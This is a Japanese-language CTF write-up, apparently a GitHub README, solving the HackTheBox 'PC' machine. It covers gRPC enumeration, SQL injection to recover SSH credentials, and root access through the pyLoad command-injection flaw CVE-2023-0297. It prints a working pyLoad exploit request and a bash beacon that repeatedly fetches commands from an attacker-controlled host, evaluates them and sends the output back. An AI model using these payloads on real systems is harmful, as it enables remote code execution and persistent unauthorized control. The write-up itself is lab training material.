Skip to content

sota70/PC-Easy-Writeup

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

7 Commits
 
 

Repository files navigation

PC(Easy)

今回はHackTheBoxのPCマシーンを解いたので、その流れを解説します。


情報収集

まずはポートスキャンを行い、アクセスできるサービスがないかを探します。
portscan そうすると、22番ポート(SSH)と50051番ポートが開いているのか分かります。
50051番ポートはgRPCという、Proto RequestとProto Responseの2つのメッセージで通信を行う
プロトコルのデフォルトポートです。


gRPCへアクセス

gRPCが怪しいので、gRPCUIというツール(https://github.com/fullstorydev/grpcui)を使って
中身を見てみます。
gRPCUI そうすると、gRPCプロトコル経由でアカウントの登録、ログイン、アカウント情報取得ができることが分かります。
ここでは、既にadminアカウントがadminというパスワードで登録されていました。
sqlmapを使いアカウント登録、ログイン、アカウント情報取得のどれかでsql injectionできないか試してみます。
sqlmap_batch そうすると、アカウント情報取得だけsql injectionの脆弱性があることが分かりました。


侵入

このアカウント情報取得ページからテーブルの内容をsql injectionを使って表示できそうなので
実際にやってみます。
sqldump そうすると、sauというアカウント情報がパスワードとともに出てきました。このアカウントでSSH接続できそうなので、やってみます。
sauのアカウントでSSH接続することができました。
ssh ちなみに、ログインするとuser.txtというファイルがあり、その中に1つ目のフラグが入っていました。


情報収集2

まず、suidがついた実行ファイルが無いか確認します。PATH変数を利用した権限昇格ができないか試すためです。
ですが、利用できるファイルが見つからなかったので、次はローカルで動いてるサービスが無いか確認してみます。
ps 8000番ポートはpyLoadのデフォルトポートなので、このサービスがrootで動いているか確かめてみます。
netstat psで確認したところ、rootで動いているみたいです。
これは権限昇格に使えそうです。このサービス内で利用できそうな脆弱性を探してみると
command injectionの脆弱性が見つかりました(https://github.com/bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad)


攻撃スクリプトの作成

pyLoadの脆弱性を利用した攻撃では、reverse-shellを使います。今回は2つのスクリプトを作ります。
今回はC2サーバーとしてVillain(https://github.com/t3l3machus/Villain)を使っています。 Villainは複数のreverse-shellセッションを保持しつつ、他のPCにあるVillainサーバーのセッションも共有できるので 重宝してます。

/tmp/exploit.sh

curl -i -s -k -X $'POST' \
    --data-binary $'jk=pyimport%20os;os.system(\"bash%20/tmp/exploit.sh\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
    $'http://127.0.0.1:8000/flash/addcrypted2'

~/exploit.sh

nohup bash -c 's=10.10.14.18:8080&&i=018583-c27fed-8677af&&hname=$(hostname)&&p=http://;curl -s "$p$s/018583/$hname/$USER" -H "Authorization: $i" -o /dev/null&&while :; do c=$(curl -s "$p$s/c27fed" -H "Authorization: $i")&&if [ "$c" != None ]; then r=$(eval "$c" 2>&1)&&echo $r;if [ $r == byee ]; then pkill -P $$; else curl -s $p$s/8677af -X POST -H "Authorization: $i" -d "$r";echo $$;fi; fi; sleep 0.8; done;' & disown

1つ目のスクリプトはpyLoadに/tmp/exploit.shを実行させるスクリプトです。
2つ目のスクリプトは自分のPCで動かしているC2サーバーにアクセスさせるスクリプトです。


侵入2

実際に作成したスクリプトを実行してみましょう。
establishing_session そうすると無事セッションが確立できました。
rootディレクトリに行ってみると2個目のフラグがあったので、これでPCは終わりです。

About

PC(Easy) Writeup from HackTheBox

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published